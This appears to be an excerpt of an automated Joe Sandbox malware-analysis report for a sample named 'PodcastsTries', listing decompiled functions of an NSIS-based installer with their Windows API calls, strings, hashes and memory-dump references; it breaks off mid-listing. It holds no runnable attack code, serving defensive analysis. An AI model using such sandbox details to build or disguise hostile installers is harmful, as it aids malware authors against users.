lstrlenW.KERNEL32(004034E5,00445D80,00426176,762323A0,00000000), ref: 00404FE6
lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426176,762323A0,00000000), ref: 00404FF9
SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426176,762323A0,00000000), ref: 00406902

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction ID: 2ad3572104664f977ebc3f2c903ed8e4223e657edd1a0c85de02785a0cf57670
Opcode Fuzzy Hash: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction Fuzzy Hash: CD219DB1800518BBDF119F65CD849CFBFB9EF45714F10803AF905B22A1C7794A909B98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GlobalFree.KERNELBASE(007BC958), ref: 00402387

Strings

Exch: stack < %d elements, xrefs: 00401ED8
GrassConnectorTransThehun, xrefs: 00401EFB, 00401F00, 00401F1A
Pop: stack empty, xrefs: 00401F2C

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$GrassConnectorTransThehun$Pop: stack empty
API String ID: 1459762280-201286362
Opcode ID: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction ID: 50a08f61e59307d203ec8fda99e8a78aa4432658e9e299f93ea532572e85a124
Opcode Fuzzy Hash: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction Fuzzy Hash: 4921FF72640001EBD710EF98DD81A6E77A8AA04358720413BF503F32E1DB799C11966D

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00409838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

GlobalFree.KERNELBASE(007BC958), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction ID: 214764af72b390ffa64cdeb44d1c6cd0e8ca06a9e3a7070d0c65f9f565939ffa
Opcode Fuzzy Hash: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction Fuzzy Hash: 0D112572A0010AAFDF00EFA1D9459AEBBB8EF08344B10447AF606F61A1D7798A40CB18

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction ID: eb70b36e00a6049791e454e439637436730f967712bedb277b0d85a94317bb29
Opcode Fuzzy Hash: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction Fuzzy Hash: 7F016171600205FFEB14AF60DD4CE9E3B78EB05359F10443AF606B91E2D6799D81DB68

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

<RM>, xrefs: 00402713
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
GrassConnectorTransThehun, xrefs: 00402770

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$GrassConnectorTransThehun$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-2339468215
Opcode ID: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction ID: 073f588d32262f2f2aee4dc53e9f390c64699363c3e1a285ed73a3087a8005e5
Opcode Fuzzy Hash: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction Fuzzy Hash: FF014471D4022AABCB117FA68DC99EE7978AF08345B10403FF115761E3D7B80940CBAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426176,762323A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426176,762323A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426176,762323A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004D70B0,?), ref: 00402202

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction ID: 745ed8f2a75272e62c3db2eabdadd847eb541a5ed47e1f4d533bb28834579f01
Opcode Fuzzy Hash: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction Fuzzy Hash: CD01F7B2B4021076D72076B69C87FAB2A5CDB81768B20447BF502F60D3E57D8C40D138

Function 00405EAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405EC9
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,0040382A,004DF0C0,004E30C8), ref: 00405EE4

Strings

nsa, xrefs: 00405EB8

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction ID: e8a8b8b1c64af8904643f6899c21fc71a506a3659d4cdc328e790c9301f5e3ed
Opcode Fuzzy Hash: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction Fuzzy Hash: D8F09076600208BBDB10CF69DD05A9FBBBDEF95710F00803BE944E7250E6B09E50DB98

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction ID: f8c041d4f94449417b74c9df8c85987c6128e61f091d6cc810bdb42da7a8293a
Opcode Fuzzy Hash: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction Fuzzy Hash: 13E0D832A04110DBDB08FFF5A64959E76B4EE9532A72104BFE103F61D2DA7D4D01C62D

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction ID: 11189a7010c7ef4f551f6273c6f502c25af520ce36bbf29b1e3929f99495605f
Opcode Fuzzy Hash: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction Fuzzy Hash: 64F02831A10220DBD7165B349C08B273799BB81354F258637F819F62F2D2B8CC41CB4C

Function 00405E7C Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction ID: 4537c79132fc6b4e07af9f6f4ddc5e1db4475248beafdc935845b7fb5ee8fdc2
Opcode Fuzzy Hash: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction Fuzzy Hash: 08D09E71558202EFEF098F60DD1AF6EBBA2EB94B00F11852CB252550F1D6B25819DB15

Function 00405E5C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406EAD,?,?,?), ref: 00405E60
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E73

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction ID: cfdb79520ecdf627421b2718222ef799ef1344ba1afc56e39be72dea6d7b0432
Opcode Fuzzy Hash: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction Fuzzy Hash: 25C04C71404905BBDA015B34DE09D1BBB66EFA1331B648735F4BAE01F1C7358C65DA19

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033D2,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction ID: 6ac59f4cb3fe35c1316d0bdd9a7bfda3bd496f009ebd6252a63c396af269f63e
Opcode Fuzzy Hash: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction Fuzzy Hash: 17E08C32650118FFDB109EA69C84EE73B5CFB047A2F00C432BD55E5190DA30DA00EBA4

Function 004037F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

CreateDirectoryW.KERNELBASE(004E30C8,00000000,004E30C8,004E30C8,004E30C8,-00000002,00403A37), ref: 00403819

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction ID: c72586207ca4fe3275e323c6ce7a55902ce0015f7edb1a19efdc0f2786dab76c
Opcode Fuzzy Hash: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction Fuzzy Hash: 52D0921218293121C66237663D0ABCF195C4F92B2EB0280B7F942B61D69B6C4A9285EE

Function 00403DDB Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
